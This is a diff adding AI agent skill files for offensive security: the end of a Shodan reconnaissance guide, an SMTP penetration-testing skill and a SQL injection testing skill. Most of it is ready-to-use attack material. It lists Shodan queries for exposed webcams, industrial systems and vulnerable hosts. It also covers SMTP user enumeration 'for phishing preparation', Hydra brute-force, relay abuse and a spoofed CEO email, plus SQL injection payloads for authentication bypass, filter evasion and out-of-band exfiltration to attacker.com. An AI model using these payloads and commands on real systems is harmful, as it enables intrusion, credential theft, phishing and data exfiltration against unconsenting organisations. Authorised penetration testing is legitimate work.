+#### Count Results
+```bash
+# Get result count without consuming credits
+shodan count openssh
+# Output: 23128
+
+shodan count openssh 7
+# Output: 219
+```
+
+#### Download Results
+```bash
+# Download 1000 results (default)
+shodan download results.json.gz "apache country:US"
+
+# Download specific number of results
+shodan download --limit 5000 results.json.gz "nginx"
+
+# Download all available results
+shodan download --limit -1 all_results.json.gz "query"
+```
+
+#### Parse Downloaded Data
+```bash
+# Extract specific fields from downloaded data
+shodan parse --fields ip_str,port,hostnames results.json.gz
+
+# Filter by specific criteria
+shodan parse --fields location.country_code3,ip_str -f port:22 results.json.gz
+
+# Export to CSV format
+shodan parse --fields ip_str,port,org --separator , results.json.gz > results.csv
+```
+
+### 4. Search Filters Reference
+
+#### Network Filters
+```
+ip:1.2.3.4                  # Specific IP address
+net:192.168.0.0/24          # Network range (CIDR)
+hostname:example.com        # Hostname contains
+port:22                     # Specific port
+asn:AS15169                 # Autonomous System Number
+```
+
+#### Geographic Filters
+```
+country:US                  # Two-letter country code
+country:"United States"     # Full country name
+city:"San Francisco"        # City name
+state:CA                    # State/region
+postal:94102                # Postal/ZIP code
+geo:37.7,-122.4             # Lat/long coordinates
+```
+
+#### Organization Filters
+```
+org:"Google"                # Organization name
+isp:"Comcast"               # ISP name
+```
+
+#### Service/Product Filters
+```
+product:nginx               # Software product
+version:1.14.0              # Software version
+os:"Windows Server 2019"    # Operating system
+http.title:"Dashboard"      # HTTP page title
+http.html:"login"           # HTML content
+http.status:200             # HTTP status code
+ssl.cert.subject.cn:*.example.com  # SSL certificate
+ssl:true                    # Has SSL enabled
+```
+
+#### Vulnerability Filters
+```
+vuln:CVE-2019-0708          # Specific CVE
+has_vuln:true               # Has any vulnerability
+```
+
+#### Screenshot Filters
+```
+has_screenshot:true         # Has screenshot available
+screenshot.label:webcam     # Screenshot type
+```
+
+### 5. On-Demand Scanning
+
+#### Submit Scan
+```bash
+# Scan single IP (1 credit per IP)
+shodan scan submit 192.168.1.100
+
+# Scan with verbose output (shows scan ID)
+shodan scan submit --verbose 192.168.1.100
+
+# Scan and save results
+shodan scan submit --filename scan_results.json.gz 192.168.1.100
+```
+
+#### Monitor Scan Status
+```bash
+# List recent scans
+shodan scan list
+
+# Check specific scan status
+shodan scan status SCAN_ID
+
+# Download scan results later
+shodan download --limit -1 results.json.gz scan:SCAN_ID
+```
+
+#### Available Scan Protocols
+```bash
+# List available protocols/modules
+shodan scan protocols
+```
+
+### 6. Statistics and Analysis
+
+#### Get Search Statistics
+```bash
+# Default statistics (top 10 countries, orgs)
+shodan stats nginx
+
+# Custom facets
+shodan stats --facets domain,port,asn --limit 5 nginx
+
+# Save to CSV
+shodan stats --facets country,org -O stats.csv apache
+```
+
+### 7. Network Monitoring
+
+#### Setup Alerts (Web Interface)
+```
+1. Navigate to Monitor Dashboard
+2. Add IP, range, or domain to monitor
+3. Configure notification service (email, Slack, webhook)
+4. Select trigger events (new service, vulnerability, etc.)
+5. View dashboard for exposed services
+```
+
+### 8. REST API Usage
+
+#### Direct API Calls
+```bash
+# Get API info
+curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
+
+# Host lookup
+curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
+
+# Search query
+curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
+```
+
+#### Python Library
+```python
+import shodan
+
+api = shodan.Shodan('YOUR_API_KEY')
+
+# Search
+results = api.search('apache')
+print(f'Results found: {results["total"]}')
+for result in results['matches']:
+    print(f'IP: {result["ip_str"]}')
+
+# Host lookup
+host = api.host('1.1.1.1')
+print(f'IP: {host["ip_str"]}')
+print(f'Organization: {host.get("org", "n/a")}')
+for item in host['data']:
+    print(f'Port: {item["port"]}')
+```
+
+## Quick Reference
+
+### Essential CLI Commands
+
+| Command | Description | Credits |
+|---------|-------------|---------|
+| `shodan init KEY` | Initialize API key | 0 |
+| `shodan info` | Show account info | 0 |
+| `shodan myip` | Show your IP | 0 |
+| `shodan host IP` | Host details | 0 |
+| `shodan count QUERY` | Result count | 0 |
+| `shodan search QUERY` | Basic search | 0* |
+| `shodan download FILE QUERY` | Save results | 1/100 results |
+| `shodan parse FILE` | Extract data | 0 |
+| `shodan stats QUERY` | Statistics | 1 |
+| `shodan scan submit IP` | On-demand scan | 1/IP |
+| `shodan honeyscore IP` | Honeypot check | 0 |
+
+*Filters consume 1 credit per query
+
+### Common Search Queries
+
+| Purpose | Query |
+|---------|-------|
+| Find webcams | `webcam has_screenshot:true` |
+| MongoDB databases | `product:mongodb` |
+| Redis servers | `product:redis` |
+| Elasticsearch | `product:elastic port:9200` |
+| Default passwords | `"default password"` |
+| Vulnerable RDP | `port:3389 vuln:CVE-2019-0708` |
+| Industrial systems | `port:502 modbus` |
+| Cisco devices | `product:cisco` |
+| Open VNC | `port:5900 authentication disabled` |
+| Exposed FTP | `port:21 anonymous` |
+| WordPress sites | `http.component:wordpress` |
+| Printers | `"HP-ChaiSOE" port:80` |
+| Cameras (RTSP) | `port:554 has_screenshot:true` |
+| Jenkins servers | `X-Jenkins port:8080` |
+| Docker APIs | `port:2375 product:docker` |
+
+### Useful Filter Combinations
+
+| Scenario | Query |
+|---------|-------|
+| Target org recon | `org:"Company Name"` |
+| Domain enumeration | `hostname:example.com` |
+| Network range scan | `net:192.168.0.0/24` |
+| SSL cert search | `ssl.cert.subject.cn:*.target.com` |
+| Vulnerable servers | `vuln:CVE-2021-44228 country:US` |
+| Exposed admin panels | `http.title:"admin" port:443` |
+| Database exposure | `port:3306,5432,27017,6379` |
+
+### Credit System
+
+| Action | Credit Type | Cost |
+|--------|-------------|------|
+| Basic search | Query | 0 (no filters) |
+| Filtered search | Query | 1 |
+| Download 100 results | Query | 1 |
+| Generate report | Query | 1 |
+| Scan 1 IP | Scan | 1 |
+| Network monitoring | Monitored IPs | Depends on plan |
+
+## Constraints and Limitations
+
+### Operational Boundaries
+- Rate limited to 1 request per second
+- Scan results not immediate (asynchronous)
+- Cannot re-scan same IP within 24 hours (non-Enterprise)
+- Free accounts have limited credits
+- Some data requires paid subscription
+
+### Data Freshness
+- Shodan crawls continuously but data may be days/weeks old
+- On-demand scans provide current data but cost credits
+- Historical data available with paid plans
+
+### Legal Requirements
+- Only perform reconnaissance on authorized targets
+- Passive reconnaissance generally legal but verify jurisdiction
+- Active scanning (scan submit) requires authorization
+- Document all reconnaissance activities
+
+## Examples
+
+### Example 1: Organization Reconnaissance
+```bash
+# Find all hosts belonging to target organization
+shodan search 'org:"Target Company"'
+
+# Get statistics on their infrastructure
+shodan stats --facets port,product,country 'org:"Target Company"'
+
+# Download detailed data
+shodan download target_data.json.gz 'org:"Target Company"'
+
+# Parse for specific info
+shodan parse --fields ip_str,port,product target_data.json.gz
+```
+
+### Example 2: Vulnerable Service Discovery
+```bash
+# Find hosts vulnerable to BlueKeep (RDP CVE)
+shodan search 'vuln:CVE-2019-0708 country:US'
+
+# Find exposed Elasticsearch with no auth
+shodan search 'product:elastic port:9200 -authentication'
+
+# Find Log4j vulnerable systems
+shodan search 'vuln:CVE-2021-44228'
+```
+
+### Example 3: IoT Device Discovery
+```bash
+# Find exposed webcams
+shodan search 'webcam has_screenshot:true country:US'
+
+# Find industrial control systems
+shodan search 'port:502 product:modbus'
+
+# Find exposed printers
+shodan search '"HP-ChaiSOE" port:80'
+
+# Find smart home devices
+shodan search 'product:nest'
+```
+
+### Example 4: SSL/TLS Certificate Analysis
+```bash
+# Find hosts with specific SSL cert
+shodan search 'ssl.cert.subject.cn:*.example.com'
+
+# Find expired certificates
+shodan search 'ssl.cert.expired:true org:"Company"'
+
+# Find self-signed certificates
+shodan search 'ssl.cert.issuer.cn:self-signed'
+```
+
+### Example 5: Python Automation Script
+```python
+#!/usr/bin/env python3
+import shodan
+import json
+
+API_KEY = 'YOUR_API_KEY'
+api = shodan.Shodan(API_KEY)
+
+def recon_organization(org_name):
+    """Perform reconnaissance on an organization"""
+    try:
+        # Search for organization
+        query = f'org:"{org_name}"'
+        results = api.search(query)
+        
+        print(f"[*] Found {results['total']} hosts for {org_name}")
+        
+        # Collect unique IPs and ports
+        hosts = {}
+        for result in results['matches']:
+            ip = result['ip_str']
+            port = result['port']
+            product = result.get('product', 'unknown')
+            
+            if ip not in hosts:
+                hosts[ip] = []
+            hosts[ip].append({'port': port, 'product': product})
+        
+        # Output findings
+        for ip, services in hosts.items():
+            print(f"\n[+] {ip}")
+            for svc in services:
+                print(f"    - {svc['port']}/tcp ({svc['product']})")
+        
+        return hosts
+        
+    except shodan.APIError as e:
+        print(f"Error: {e}")
+        return None
+
+if __name__ == '__main__':
+    recon_organization("Target Company")
+```
+
+### Example 6: Network Range Assessment
+```bash
+# Scan a /24 network range
+shodan search 'net:192.168.1.0/24'
+
+# Get port distribution
+shodan stats --facets port 'net:192.168.1.0/24'
+
+# Find specific vulnerabilities in range
+shodan search 'net:192.168.1.0/24 vuln:CVE-2021-44228'
+
+# Export all data for range
+shodan download network_scan.json.gz 'net:192.168.1.0/24'
+```
+
+## Troubleshooting
+
+| Issue | Cause | Solution |
+|-------|-------|----------|
+| No API Key Configured | Key not initialized | Run `shodan init YOUR_API_KEY` then verify with `shodan info` |
+| Query Credits Exhausted | Monthly credits consumed | Use credit-free queries (no filters), wait for reset, or upgrade |
+| Host Recently Crawled | Cannot re-scan IP within 24h | Use `shodan host IP` for existing data, or wait 24 hours |
+| Rate Limit Exceeded | >1 request/second | Add `time.sleep(1)` between API requests |
+| Empty Search Results | Too specific or syntax error | Use quotes for phrases: `'org:"Company Name"'`; broaden criteria |
+| Downloaded File Won't Parse | Corrupted or wrong format | Verify with `gunzip -t file.gz`, re-download with `--limit` |

skills/smtp-penetration-testing/SKILL.md

@@ -0,0 +1,497 @@
+---
+name: SMTP Penetration Testing
+description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
+---
+
+# SMTP Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Nmap with SMTP scripts
+sudo apt-get install nmap
+
+# Netcat
+sudo apt-get install netcat
+
+# Hydra for brute force
+sudo apt-get install hydra
+
+# SMTP user enumeration tool
+sudo apt-get install smtp-user-enum
+
+# Metasploit Framework
+msfconsole
+```
+
+### Required Knowledge
+- SMTP protocol fundamentals
+- Email architecture (MTA, MDA, MUA)
+- DNS and MX records
+- Network protocols
+
+### Required Access
+- Target SMTP server IP/hostname
+- Written authorization for testing
+- Wordlists for enumeration and brute force
+
+## Outputs and Deliverables
+
+1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings
+2. **User Enumeration Results** - Valid email addresses discovered
+3. **Relay Test Results** - Open relay status and exploitation potential
+4. **Remediation Recommendations** - Security hardening guidance
+
+## Core Workflow
+
+### Phase 1: SMTP Architecture Understanding
+
+```
+Components: MTA (transfer) → MDA (delivery) → MUA (client)
+
+Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
+
+Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
+```
+
+### Phase 2: SMTP Service Discovery
+
+Identify SMTP servers and versions:
+
+```bash
+# Discover SMTP ports
+nmap -p 25,465,587,2525 -sV TARGET_IP
+
+# Aggressive service detection
+nmap -sV -sC -p 25 TARGET_IP
+
+# SMTP-specific scripts
+nmap --script=smtp-* -p 25 TARGET_IP
+
+# Discover MX records for domain
+dig MX target.com
+nslookup -type=mx target.com
+host -t mx target.com
+```
+
+### Phase 3: Banner Grabbing
+
+Retrieve SMTP server information:
+
+```bash
+# Using Telnet
+telnet TARGET_IP 25
+# Response: 220 mail.target.com ESMTP Postfix
+
+# Using Netcat
+nc TARGET_IP 25
+# Response: 220 mail.target.com ESMTP
+
+# Using Nmap
+nmap -sV -p 25 TARGET_IP
+# Version detection extracts banner info
+
+# Manual SMTP commands
+EHLO test
+# Response reveals supported extensions
+```
+
+Parse banner information:
+
+```
+Banner reveals:
+- Server software (Postfix, Sendmail, Exchange)
+- Version information
+- Hostname
+- Supported SMTP extensions (STARTTLS, AUTH, etc.)
+```
+
+### Phase 4: SMTP Command Enumeration
+
+Test available SMTP commands:
+
+```bash
+# Connect and test commands
+nc TARGET_IP 25
+
+# Initial greeting
+EHLO attacker.com
+
+# Response shows capabilities:
+250-mail.target.com
+250-PIPELINING
+250-SIZE 10240000
+250-VRFY
+250-ETRN
+250-STARTTLS
+250-AUTH PLAIN LOGIN
+250-8BITMIME
+250 DSN
+```
+
+Key commands to test:
+
+```bash
+# VRFY - Verify user exists
+VRFY admin
+250 2.1.5 admin@target.com
+
+# EXPN - Expand mailing list
+EXPN staff
+250 2.1.5 user1@target.com
+250 2.1.5 user2@target.com
+
+# RCPT TO - Recipient verification
+MAIL FROM:<test@attacker.com>
+RCPT TO:<admin@target.com>
+# 250 OK = user exists
+# 550 = user doesn't exist
+```
+
+### Phase 5: User Enumeration
+
+Enumerate valid email addresses:
+
+```bash
+# Using smtp-user-enum with VRFY
+smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
+
+# Using EXPN method
+smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
+
+# Using RCPT method
+smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
+
+# Specify port and domain
+smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
+```
+
+Using Metasploit:
+
+```bash
+use auxiliary/scanner/smtp/smtp_enum
+set RHOSTS TARGET_IP
+set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
+set UNIXONLY true
+run
+```
+
+Using Nmap:
+
+```bash
+# SMTP user enumeration script
+nmap --script smtp-enum-users -p 25 TARGET_IP
+
+# With custom user list
+nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
+```
+
+### Phase 6: Open Relay Testing
+
+Test for unauthorized email relay:
+
+```bash
+# Using Nmap
+nmap -p 25 --script smtp-open-relay TARGET_IP
+
+# Manual testing via Telnet
+telnet TARGET_IP 25
+HELO attacker.com
+MAIL FROM:<test@attacker.com>
+RCPT TO:<victim@external-domain.com>
+DATA
+Subject: Relay Test
+This is a test.
+.
+QUIT
+
+# If accepted (250 OK), server is open relay
+```
+
+Using Metasploit:
+
+```bash
+use auxiliary/scanner/smtp/smtp_relay
+set RHOSTS TARGET_IP
+run
+```
+
+Test variations:
+
+```bash
+# Test different sender/recipient combinations
+MAIL FROM:<>
+MAIL FROM:<test@[attacker_IP]>
+MAIL FROM:<test@target.com>
+
+RCPT TO:<test@external.com>
+RCPT TO:<"test@external.com">
+RCPT TO:<test%external.com@target.com>
+```
+
+### Phase 7: Brute Force Authentication
+
+Test for weak SMTP credentials:
+
+```bash
+# Using Hydra
+hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
+
+# With specific port and SSL
+hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
+
+# Multiple users
+hydra -L users.txt -P passwords.txt TARGET_IP smtp
+
+# Verbose output
+hydra -l admin -P passwords.txt smtp://TARGET_IP -V
+```
+
+Using Medusa:
+
+```bash
+medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
+```
+
+Using Metasploit:
+
+```bash
+use auxiliary/scanner/smtp/smtp_login
+set RHOSTS TARGET_IP
+set USER_FILE /path/to/users.txt
+set PASS_FILE /path/to/passwords.txt
+set VERBOSE true
+run
+```
+
+### Phase 8: SMTP Command Injection
+
+Test for command injection vulnerabilities:
+
+```bash
+# Header injection test
+MAIL FROM:<attacker@test.com>
+RCPT TO:<victim@target.com>
+DATA
+Subject: Test
+Bcc: hidden@attacker.com
+X-Injected: malicious-header
+
+Injected content
+.
+```
+
+Email spoofing test:
+
+```bash
+# Spoofed sender (tests SPF/DKIM protection)
+MAIL FROM:<ceo@target.com>
+RCPT TO:<employee@target.com>
+DATA
+From: CEO <ceo@target.com>
+Subject: Urgent Request
+Please process this request immediately.
+.
+```
+
+### Phase 9: TLS/SSL Security Testing
+
+Test encryption configuration:
+
+```bash
+# STARTTLS support check
+openssl s_client -connect TARGET_IP:25 -starttls smtp
+
+# Direct SSL (port 465)
+openssl s_client -connect TARGET_IP:465
+
+# Cipher enumeration
+nmap --script ssl-enum-ciphers -p 25 TARGET_IP
+```
+
+### Phase 10: SPF, DKIM, DMARC Analysis
+
+Check email authentication records:
+
+```bash
+# SPF/DKIM/DMARC record lookups
+dig TXT target.com | grep spf            # SPF
+dig TXT selector._domainkey.target.com    # DKIM
+dig TXT _dmarc.target.com                 # DMARC
+
+# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
+```
+
+## Quick Reference
+
+### Essential SMTP Commands
+
+| Command | Purpose | Example |
+|---------|---------|---------|
+| HELO | Identify client | `HELO client.com` |
+| EHLO | Extended HELO | `EHLO client.com` |
+| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |
+| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |
+| DATA | Start message body | `DATA` |
+| VRFY | Verify user | `VRFY admin` |
+| EXPN | Expand alias | `EXPN staff` |
+| QUIT | End session | `QUIT` |
+
+### SMTP Response Codes
+
+| Code | Meaning |
+|------|---------|
+| 220 | Service ready |
+| 221 | Closing connection |
+| 250 | OK / Requested action completed |
+| 354 | Start mail input |
+| 421 | Service not available |
+| 450 | Mailbox unavailable |
+| 550 | User unknown / Mailbox not found |
+| 553 | Mailbox name not allowed |
+
+### Enumeration Tool Commands
+
+| Tool | Command |
+|------|---------|
+| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |
+| Nmap | `nmap --script smtp-enum-users -p 25 IP` |
+| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |
+| Netcat | `nc IP 25` then manual commands |
+
+### Common Vulnerabilities
+
+| Vulnerability | Risk | Test Method |
+|--------------|------|-------------|
+| Open Relay | High | Relay test with external recipient |
+| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
+| Banner Disclosure | Low | Banner grabbing |
+| Weak Auth | High | Brute force attack |
+| No TLS | Medium | STARTTLS test |
+| Missing SPF/DKIM | Medium | DNS record lookup |
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test SMTP servers you own or have authorization to test
+- Sending spam or malicious emails is illegal
+- Document all testing activities
+- Do not abuse discovered open relays
+
+### Technical Limitations
+- VRFY/EXPN often disabled on modern servers
+- Rate limiting may slow enumeration
+- Some servers respond identically for valid/invalid users
+- Greylisting may delay enumeration responses
+
+### Ethical Boundaries
+- Never send actual spam through discovered relays
+- Do not harvest email addresses for malicious use
+- Report open relays to server administrators
+- Use findings only for authorized security improvement
+
+## Examples
+
+### Example 1: Complete SMTP Assessment
+
+**Scenario:** Full security assessment of mail server
+
+```bash
+# Step 1: Service discovery
+nmap -sV -sC -p 25,465,587 mail.target.com
+
+# Step 2: Banner grab
+nc mail.target.com 25
+EHLO test.com
+QUIT
+
+# Step 3: User enumeration
+smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
+
+# Step 4: Open relay test
+nmap -p 25 --script smtp-open-relay mail.target.com
+
+# Step 5: Authentication test
+hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
+
+# Step 6: TLS check
+openssl s_client -connect mail.target.com:25 -starttls smtp
+
+# Step 7: Check email authentication
+dig TXT target.com | grep spf
+dig TXT _dmarc.target.com
+```
+
+### Example 2: User Enumeration Attack
+
+**Scenario:** Enumerate valid users for phishing preparation
+
+```bash
+# Method 1: VRFY
+smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
+
+# Method 2: RCPT with timing analysis
+smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
+
+# Method 3: Metasploit
+msfconsole
+use auxiliary/scanner/smtp/smtp_enum
+set RHOSTS 192.168.1.100
+set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
+run
+
+# Results show valid users
+[+] 192.168.1.100:25 - Found user: admin
+[+] 192.168.1.100:25 - Found user: root
+[+] 192.168.1.100:25 - Found user: postmaster
+```
+
+### Example 3: Open Relay Exploitation
+
+**Scenario:** Test and document open relay vulnerability
+
+```bash
+# Test via Telnet
+telnet mail.target.com 25
+HELO attacker.com
+MAIL FROM:<test@attacker.com>
+RCPT TO:<test@gmail.com>
+# If 250 OK - VULNERABLE
+
+# Document with Nmap
+nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
+
+# Output:
+# PORT   STATE SERVICE
+# 25/tcp open  smtp
+# |_smtp-open-relay: Server is an open relay (14/16 tests)
+```
+
+## Troubleshooting
+
+| Issue | Cause | Solution |
+|-------|-------|----------|
+| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
+| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
+| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |
+| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
+
+## Security Recommendations
+
+### For Administrators
+
+1. **Disable Open Relay** - Require authentication for external delivery
+2. **Disable VRFY/EXPN** - Prevent user enumeration
+3. **Enforce TLS** - Require STARTTLS for all connections
+4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing
+5. **Rate Limiting** - Prevent brute force attacks
+6. **Account Lockout** - Lock accounts after failed attempts
+7. **Banner Hardening** - Minimize server information disclosure
+8. **Log Monitoring** - Alert on suspicious activity
+9. **Patch Management** - Keep SMTP software updated
+10. **Access Controls** - Restrict SMTP to authorized IPs

skills/sql-injection-testing/SKILL.md

@@ -0,0 +1,445 @@
+---
+name: SQL Injection Testing
+description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
+---
+
+# SQL Injection Testing
+
+## Purpose
+
+Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
+
+## Inputs / Prerequisites
+
+### Required Access
+- Target web application URL with injectable parameters
+- Burp Suite or equivalent proxy tool for request manipulation
+- SQLMap installation for automated exploitation
+- Browser with developer tools enabled
+
+### Technical Requirements
+- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
+- Knowledge of HTTP request/response cycle
+- Familiarity with database schemas and structures
+- Write permissions for testing reports
+
+### Legal Prerequisites
+- Written authorization for penetration testing
+- Defined scope including target URLs and parameters
+- Emergency contact procedures established
+- Data handling agreements in place
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- SQL injection vulnerability report with severity ratings
+- Extracted database schemas and table structures
+- Authentication bypass proof-of-concept demonstrations
+- Remediation recommendations with code examples
+
+### Evidence Artifacts
+- Screenshots of successful injections
+- HTTP request/response logs
+- Database dumps (sanitized)
+- Payload documentation
+
+## Core Workflow
+
+### Phase 1: Detection and Reconnaissance
+
+#### Identify Injectable Parameters
+Locate user-controlled input fields that interact with database queries:
+
+```
+# Common injection points
+- URL parameters: ?id=1, ?user=admin, ?category=books
+- Form fields: username, password, search, comments
+- Cookie values: session_id, user_preference
+- HTTP headers: User-Agent, Referer, X-Forwarded-For
+```
+
+#### Test for Basic Vulnerability Indicators
+Insert special characters to trigger error responses:
+
+```sql
+-- Single quote test
+'
+
+-- Double quote test
+"
+
+-- Comment sequences
+--
+#
+/**/
+
+-- Semicolon for query stacking
+;
+
+-- Parentheses
+)
+```
+
+Monitor application responses for:
+- Database error messages revealing query structure
+- Unexpected application behavior changes
+- HTTP 500 Internal Server errors
+- Modified response content or length
+
+#### Logic Testing Payloads
+Verify boolean-based vulnerability presence:
+
+```sql
+-- True condition tests
+page.asp?id=1 or 1=1
+page.asp?id=1' or 1=1--
+page.asp?id=1" or 1=1--
+
+-- False condition tests  
+page.asp?id=1 and 1=2
+page.asp?id=1' and 1=2--
+```
+
+Compare responses between true and false conditions to confirm injection capability.
+
+### Phase 2: Exploitation Techniques
+
+#### UNION-Based Extraction
+Combine attacker-controlled SELECT statements with original query:
+
+```sql
+-- Determine column count
+ORDER BY 1--
+ORDER BY 2--
+ORDER BY 3--
+-- Continue until error occurs
+
+-- Find displayable columns
+UNION SELECT NULL,NULL,NULL--
+UNION SELECT 'a',NULL,NULL--
+UNION SELECT NULL,'a',NULL--
+
+-- Extract data
+UNION SELECT username,password,NULL FROM users--
+UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
+UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
+```
+
+#### Error-Based Extraction
+Force database errors that leak information:
+
+```sql
+-- MSSQL version extraction
+1' AND 1=CONVERT(int,(SELECT @@version))--
+
+-- MySQL extraction via XPATH
+1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
+
+-- PostgreSQL cast errors
+1' AND 1=CAST((SELECT version()) AS int)--
+```
+
+#### Blind Boolean-Based Extraction
+Infer data through application behavior changes:
+
+```sql
+-- Character extraction
+1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
+1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
+
+-- Conditional responses
+1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
+```
+
+#### Time-Based Blind Extraction
+Use database sleep functions for confirmation:
+
+```sql
+-- MySQL
+1' AND IF(1=1,SLEEP(5),0)--
+1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
+
+-- MSSQL
+1'; WAITFOR DELAY '0:0:5'--
+
+-- PostgreSQL
+1'; SELECT pg_sleep(5)--
+```
+
+#### Out-of-Band (OOB) Extraction
+Exfiltrate data through external channels:
+
+```sql
+-- MSSQL DNS exfiltration
+1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
+
+-- MySQL DNS exfiltration
+1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
+
+-- Oracle HTTP request
+1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
+```
+
+### Phase 3: Authentication Bypass
+
+#### Login Form Exploitation
+Craft payloads to bypass credential verification:
+
+```sql
+-- Classic bypass
+admin'--
+admin'/*
+' OR '1'='1
+' OR '1'='1'--
+' OR '1'='1'/*
+') OR ('1'='1
+') OR ('1'='1'--
+
+-- Username enumeration
+admin' AND '1'='1
+admin' AND '1'='2
+```
+
+Query transformation example:
+```sql
+-- Original query
+SELECT * FROM users WHERE username='input' AND password='input'
+
+-- Injected (username: admin'--)
+SELECT * FROM users WHERE username='admin'--' AND password='anything'
+-- Password check bypassed via comment
+```
+
+### Phase 4: Filter Bypass Techniques
+
+#### Character Encoding Bypass
+When special characters are blocked:
+
+```sql
+-- URL encoding
+%27 (single quote)
+%22 (double quote)
+%23 (hash)
+
+-- Double URL encoding
+%2527 (single quote)
+
+-- Unicode alternatives
+U+0027 (apostrophe)
+U+02B9 (modifier letter prime)
+
+-- Hexadecimal strings (MySQL)
+SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex
+```
+
+#### Whitespace Bypass
+Substitute blocked spaces:
+
+```sql
+-- Comment substitution
+SELECT/**/username/**/FROM/**/users
+SEL/**/ECT/**/username/**/FR/**/OM/**/users
+
+-- Alternative whitespace
+SELECT%09username%09FROM%09users  -- Tab character
+SELECT%0Ausername%0AFROM%0Ausers  -- Newline
+```
+
+#### Keyword Bypass
+Evade blacklisted SQL keywords:
+
+```sql
+-- Case variation
+SeLeCt, sElEcT, SELECT
+
+-- Inline comments
+SEL/*bypass*/ECT
+UN/*bypass*/ION
+
+-- Double writing (if filter removes once)
+SELSELECTECT → SELECT
+UNUNIONION → UNION
+
+-- Null byte injection
+%00SELECT
+SEL%00ECT
+```
+
+## Quick Reference
+
+### Detection Test Sequence
+```
+1. Insert ' → Check for error
+2. Insert " → Check for error
+3. Try: OR 1=1-- → Check for behavior change
+4. Try: AND 1=2-- → Check for behavior change
+5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
+```
+
+### Database Fingerprinting
+```sql
+-- MySQL
+SELECT @@version
+SELECT version()
+
+-- MSSQL
+SELECT @@version
+SELECT @@servername
+
+-- PostgreSQL
+SELECT version()
+
+-- Oracle
+SELECT banner FROM v$version
+SELECT * FROM v$version
+```
+
+### Information Schema Queries
+```sql
+-- MySQL/MSSQL table enumeration
+SELECT table_name FROM information_schema.tables WHERE table_schema=database()
+
+-- Column enumeration
+SELECT column_name FROM information_schema.columns WHERE table_name='users'
+
+-- Oracle equivalent
+SELECT table_name FROM all_tables
+SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
+```
+
+### Common Payloads Quick List
+| Purpose | Payload |
+|---------|---------|
+| Basic test | `'` or `"` |
+| Boolean true | `OR 1=1--` |
+| Boolean false | `AND 1=2--` |
+| Comment (MySQL) | `#` or `-- ` |
+| Comment (MSSQL) | `--` |
+| UNION probe | `UNION SELECT NULL--` |
